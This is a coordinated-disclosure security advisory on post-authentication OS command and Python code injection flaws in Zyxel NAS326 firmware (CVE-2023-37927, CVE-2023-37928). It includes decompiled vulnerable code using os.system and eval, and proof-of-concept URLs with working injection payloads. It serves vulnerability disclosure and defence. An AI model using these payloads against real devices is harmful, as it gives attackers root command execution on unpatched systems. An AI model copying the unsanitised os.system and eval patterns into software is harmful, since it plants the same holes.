Back to the articles

CVE-2023-37927 & CVE-2023-37928 - Multiple post-auth blind OS command and Python code injection vulnerabilities in Zyxel’s NAS326 devices

picture of the author
Gábor Selján
November 30, 2023 16 mins read
CVE-2023-37927 & CVE-2023-37928 - Multiple post-auth blind OS command and Python code injection vulnerabilities in Zyxel’s NAS326 devices

Table of contents

  1. Disclosure timeline
  2. Affected products
  3. Product URLs
  4. Summary
  5. Details
  6. CVE-2023-37927 - OS command injection vulnerability in storage_cgi
  7. CVE-2023-37928 - Python code injection vulnerability in simZysh
  8. Acknowledgments

Disclosure timeline

July 1, 2023: BugProve reported several vulnerabilities to Zyxel.

July 5, 2023: Zyxel requested more information on a specific attack vector.

July 5, 2023: BugProve provided more information.

July 6, 2023: Zyxel continued their investigation.

July 11, 2023: Zyxel indicated that the specific attack vector is not exploitable with the latest firmware.

July 20, 2023: BugProve confirmed that the specific attack vector is not exploitable with the latest firmware.

July 24, 2023: Zyxel assigned CVE-2023-37927 and CVE-2023-37928 for the reproduced vulnerabilities and indicated the target date of Sept 19, 2023.

July 24, 2023: BugProve requested clarification regarding the specific attack vector.

July 26, 2023: Zyxel clarified that attack vector has been addressed in CVE-2023-27992.

July 29, 2023: BugProve notified Max Dulin that CVE-2023-27992 seems to be a duplicate of CVE-2019-10633 and the upcoming CVE-2023-37928 is necessary due to an incomplete fix.

Nov 2, 2023: Zyxel indicated that the disclosure date has been postponed to Nov 30, 2023, due to several issues reported by other researchers.

Nov 16, 2023: Zyxel released firmware version V5.21(AAZF.15)C0.

Nov 30, 2023: Coordinated public release of advisory.

Affected products

Zyxel’s NAS326 model devices running firmware version V5.21(AAZF.14)C0 and earlier are affected.

Product URLs

Summary

Multiple post-auth blind OS command and Python code injection vulnerabilities exist in the web management interface of some Zyxel NAS versions. These vulnerabilities could allow authenticated attackers to execute arbitrary OS commands or Python code on an affected device remotely. Attackers could leverage these vulnerabilities to perform unauthorized actions in the context of the WSGI server process running as root or the web server running as nobody.

Details

CVE-2023-37927 - OS command injection vulnerability in storage_cgi

The specific flaw exists within the implementation of the OS command execution mechanism via the execRoot_bg2(cmd) function within the tools.py component of the web management interface. Attackers can use a specially crafted cmd string to break out of the original command call and execute arbitrary Python code or OS commands in the context of the WSGI server running as root.

Our proprietary PRIS™ firmware analysis engine flagged a command injection vulnerability in function FUN_00010568() within the executer_su binary in the /usr/local/apache/web_framework/bin directory, as shown on Figure 1. The FUN_00010568() function calls the execv() function with user-provided input without validating or sanitizing it, potentially meaning that attackers could provide input containing shell commands that the program will execute, resulting in arbitrary remote command execution. As the name of the binary suggests, the purpose of this tool is the execution of OS commands in the context of the root user.

Figure 1. Zero-day scan result indicating a command injection vulnerability
Figure 1. Zero-day scan result indicating a command injection vulnerability

Further analysis revealed that the execRoot_bg2(cmd) function within the tools.py file in the /usr/local/apache/web_framework/lib directory invokes the analyzed executer_su binary. The vulnerability exists because the execRoot_bg2(cmd) function calls os.system() with user-controlled input in the cmd parameter. This function is intended for executing a command (provided as a string) in a subshell. Incorporating user-supplied data into a command string that is passed as an argument to the os.system() function creates an opportunity for a command injection vulnerability. The following is the decompiled Python source code of the affected function:

def execRoot_bg2(cmd):
   exec_path = os.path.join(sub('/lib.*$', '', os.path.realpath(__file__)), 'bin/executer_su')
   os.system(exec_path + ' ' + cmd + ' &')

The affected execRoot_bg2() function is invoked by the CGICreateLVOnDisk() and CGICreateMdVol_VG() functions within the storage_cgi.py controller. The following is the decompiled Python source code of the mentioned handler functions, showing the command strings created with the old-style string formatting operator %.

def CGICreateMdVol_VG(cherrypy, arguments):
    auth_status = authentication(arguments)
    if auth_status != AUTH_PASS:
        return gui_errmsg(auth_status)
    else:
        if arguments.has_key('raidName') and arguments.has_key('raidLevel') and
          arguments.has_key('volType') and arguments.has_key('diskxList'):
            if type(arguments['diskxList']) != list:
                arguments['diskxList'] = [arguments['diskxList']]
            sec = 0
            while path.exists(storage_main.CREATE_VG_LCK) and sec <= 5:
                sleep(1)
                sec = sec + 1
            if sec > 5:
                storage_main.StoDebug('Error(can not enter critical): file=' + storage_main.CREATE_VG_LCK)
                return storage_main.GUI_ERRMSG_UNEXPECTED
            cmd = '%s -c \'from models import storage_main; storage_main.MainCreateMdVol_VG("%s", "%s", "%s", %s)\'' % (storage_main.PYTHON, arguments['raidName'], arguments['raidLevel'].lower(), arguments['volType'],
                  json.dumps(arguments['diskxList']))
            storage_main.StoDebug(cmd)
            execRoot_bg2(cmd)
            sleep(0.5)
            for i in range(10):
                if path.exists(storage_main.CREATE_VG_LCK):
                    with open(storage_main.CREATE_VG_LCK) as (f):
                        info = f.read().strip()
                    if info == '':
                        sleep(0.5)
                    else:
                        return storage_main.GUI_ERRMSG_OK
                else:
                    sleep(0.5)
            storage_main.StoDebug('error, cgi time out')
            return storage_main.GUI_ERRMSG_ARG
        return storage_main.GUI_ERRMSG_ARG

def CGICreateLVOnDisk(cherrypy, arguments):
    auth_status = authentication(arguments)
    if auth_status != AUTH_PASS:
        return gui_errmsg(auth_status)
    else:
        if arguments.has_key('volName') and arguments.has_key('volSiz') and
          arguments.has_key('raidName') and arguments.has_key('raidLevel') and arguments.has_key('diskxList'):
            if type(arguments['diskxList']) != list:
                arguments['diskxList'] = [
                 arguments['diskxList']]
            sec = 0
            while path.exists(storage_main.CREATE_VG_LCK) and sec <= 5:
                sleep(1)
                sec = sec + 1
            if sec > 5:
                storage_main.StoDebug('Error(can not enter critical): file=' + storage_main.CREATE_VG_LCK)
                return storage_main.GUI_ERRMSG_UNEXPECTED
            cmd = '%s -c \'from models import storage_main; storage_main.MainCreateLVOnDisk("%s", "%s", "%s", "%s", %s)\'' % (storage_main.PYTHON, arguments['volName'], arguments['volSiz'], arguments['raidName'], arguments['raidLevel'], json.dumps(arguments['diskxList']))
            storage_main.StoDebug(cmd)
            execRoot_bg2(cmd)
            sleep(0.5)
            for i in range(10):
                if path.exists(storage_main.CREATE_VG_LCK):
                    with open(storage_main.CREATE_VG_LCK) as (f):
                        info = f.read().strip()
                    if info == '':
                        sleep(0.5)
                    else:
                        return storage_main.GUI_ERRMSG_OK
                else:
                    sleep(0.5)
            storage_main.StoDebug('error, cgi time out')
            return storage_main.GUI_ERRMSG_ARG
        return storage_main.GUI_ERRMSG_ARG

The CGICreateLVOnDisk() and CGICreateMdVol_VG() functions turned out to be the API handlers of the createDiskGroupVolume and createRaidOrDiskGroup commands available through the web management interface after authentication. The following is the relevant excerpt of the /usr/local/apache/htdocs/desktop,/utility/command.js file that maps commands to their API endpoints.

var cmdPool = {
...SNIP...
createRaidOrDiskGroup:'/cmd,/ck6fup6/storage_cgi/CGICreateMdVol_VG',
createDiskGroupVolume:'/cmd,/ck6fup6/storage_cgi/CGICreateLVOnDisk',
...SNIP...
}

The raidName, raidLevel, volType and diskxList parameters at /cmd,/ck6fup6/storage_cgi/CGICreateMdVol_VG appear to be vulnerable to Python code injection or OS command injection attacks. Attackers could use the double quote ( " ) character to inject arbitrary Python statements or the single quote ( ' ) character to break out of the original Python command and inject arbitrary OS commands.

The vulnerability in the CGICreateMdVol_VG() handler can be confirmed with an authenticated user via the following URLs:

http[:]//NAS326/cmd,/ck6fup6/storage_cgi/CGICreateMdVol_VG?whoami=admin&raidName=1%22%2C__import__(%22os%22).system(%22id%3E%2Ftmp%2Fbugproved%22)%2C%22&raidLevel=2&volType=3&diskxList=4
http[:]//NAS326/cmd,/ck6fup6/storage_cgi/CGICreateMdVol_VG?whoami=admin&raidName=1%22)%27%3Bid%3E%2Ftmp%2Fbugproved%3B%27(%22&raidLevel=2&volType=3&diskxList=4

We submitted the payloads 1",__import__("os").system("id>/tmp/bugproved")," and 1")';id>/tmp/bugproved;'(" in the raidName parameter. The application created the /tmp/bugproved file, containing the output from the injected command, indicating that the Python code was interpreted and the OS command was executed.

Conveniently, the command string passed to the execRoot_bg2() function is logged in the /tmp/sto_log file. Figure 2. shows the log content with the PoC payloads and the output of the executed commands.

Figure 2. Injecting code into the createRaidOrDiskGroup command
Figure 2. Injecting code into the createRaidOrDiskGroup command

Furthermore, the volName, volSize, raidName, raidLevel and diskxList parameters at /cmd,/ck6fup6/storage_cgi/CGICreateLVOnDisk are also affected. We can observe the same results by submitting the same payloads in the volName parameter. Figure 3. shows the log content with the payloads and the output of the executed commands.

Figure 3. Injecting code into the createDiskGroupVolume command
Figure 3. Injecting code into the createDiskGroupVolume command

The vulnerability in the CGICreateLVOnDisk() handler can be confirmed with an authenticated user via the following URLs:

http[:]//NAS326/cmd,/ck6fup6/storage_cgi/CGICreateLVOnDisk?whoami=admin&volName=1%22%2C__import__(%22os%22).system(%22id%3E%2Ftmp%2Fbugproved%22)%2C%22&volSiz=2&raidName=3&raidLevel=4&diskxList=5
http[:]//NAS326/cmd,/ck6fup6/storage_cgi/CGICreateLVOnDisk?whoami=admin&volName=1%22)%27%3Bid%3E%2Ftmp%2Fbugproved%3B%27(%22&volSiz=2&raidName=3&raidLevel=4&diskxList=5

CVE-2023-37928 - Python code injection vulnerability in simZysh

This issue seems to result from an incomplete fix for CVE-2023-27992, which appears to be a duplicate of CVE-2019-10633 originally reported by Max Dulin. We independently reported this vulnerability to Zyxel before we became aware of Max’s research.

Similarly to the mentioned vulnerabilities, the specific flaw exists within the implementation of the MVC model in the simZysh() function of the main_wsgi.py component of the web management interface. Attackers can use specially crafted values in multiple path query parameters to execute arbitrary Python code in the context of the web server process running as nobody.

The c%d query parameters used at path /cmd,/simZysh appear to be vulnerable to Python code injection attacks. The purpose of this function is to simulate zyshcgi's output. The function expects commands in the format controller action {"arg1": value, "arg2": value, ...}. We submitted the payload system_main whoami {__import__("os").system("id>/tmp/bugproved")} in the c0 request parameter, as Figure 4. shows.

Figure 4. Python code injection vulnerability in the c0 parameter
Figure 4. Python code injection vulnerability in the c0 parameter

The application does not seem to return the command output in its responses. However, we can find the output of the injected id command in the file bugproved created in the /tmp directory, as Figure 5. shows.

Figure 5. Output of the injected id command
Figure 5. Output of the injected id command

The path /cmd, is just an alias to a WSGI application. Hence, requests made for http://NAS326/cmd, causes the web server to run the WSGI application defined in the main.wsgi file in the /usr/local/apache/web_framework directory. The following is the relevant excerpt of the httpd_special.conf file in the /etc/service_conf directory:

<Directory /usr/local/apache/web_framework>
  Order allow,deny
  Allow from all
</Directory>

WSGIScriptAlias /cmd, /usr/local/apache/web_framework/main.wsgi

...SNIP...

The web application redirects requests from /ck6fup6 and /tjp6jp6y4 to the WSGI server listening on the socket /tmp/main_wsgi.sock to /ck6fup6_to_wsgi_server and /tjp6jp6y4_to_wsgi_server following the /<controller>/<action> pattern. The below is the decompiled Python source code of the discussed request handler functions from the main.wsgi file:

def ck6fup6(self, *url_args, **request_args):
...SNIP...
       url = tools_cherrypy.SOCKET_URL_PREFIX + '/ck6fup6_to_wsgi_server/%s/%s' % (url_args[0], url_args[1])
       response = tools_cherrypy.socket_request(url, data=request_args, cookies=self.set_cookies())
       if response == tools_cherrypy.INT_SERV_ERROR:
           return tools_cherrypy.gui_errmsg(response)
       return response.json()

def tjp6jp6y4(self, *url_args, **request_args):
...SNIP...
       if url_args[0] == 'register_main' and url_args[1] == 'setCookie':
...SNIO...
       else:
           url = tools_cherrypy.SOCKET_URL_PREFIX + '/tjp6jp6y4_to_wsgi_server/%s/%s' % (url_args[0], url_args[1])
           response = tools_cherrypy.socket_request(url, data=request_args, cookies=self.set_cookies())
           if response == tools_cherrypy.INT_SERV_ERROR:
               return response
           return response.content
       return

In this case, requests are processed in the simZysh() handler function that will load the requested controller scripts and execute the specified functions via eval(). Be aware that the WSGI server runs in a separate process from the web server. Hence, the injected code will be executed in the context of the WSGI server process. The following is the relevant excerpt of the decompiled Python source code of the mentioned request handler function:

def simZysh(self, *url_args, **request_args):
    r_value = {}
    c_index = 0
    while True:
        c_key = 'c%d' % c_index
        if request_args.has_key(c_key):
            controller_n, action_n, args = request_args[c_key].split(' ', 2)
            try:
                controller = __import__('controllers.%s' % controller_n)
                tmp_result = eval('controller.%s.%s(cherrypy=%s, arguments=%s)' % (controller_n, action_n, 'cherrypy', args))
...SNIP...
            except:
...SNIP...
        else:
            break
        c_index += 1
    return r_value

Further analysis confirmed that the vulnerability lies again within the implementation of the MVC model. The web application uses the eval() function to load controllers and perform actions based on the /<controller>/<action> path segments. The evaluated Python expression is specified in the string pattern controller.%s.%s(cherrypy=%s, arguments=%s) and formatted based on user-supplied input.

Python code injection vulnerabilities arise when the application incorporates user-controllable data into a string dynamically evaluated by a code interpreter, in this case via the eval() function. If the user input is not strictly validated, attackers can use specially crafted input to modify the original code to be executed and inject arbitrary code that the server will run.

The vulnerability can be confirmed with an authenticated user via the following URL:

http[:]//NAS326/cmd,/simZysh?c0=system_main%20whoami%20{__import__(%22os%22).system(%22id%3E%2ftmp%2fbugproved%22)}

Acknowledgments

The vulnerabilities were found by Gábor Selján at BugProve.

Thanks to Zyxel’s PSIRT team for the effective coordination process.

Was it worth your time?

Sign up for our newsletter to receive articles like this in your inbox 1-2 times per month.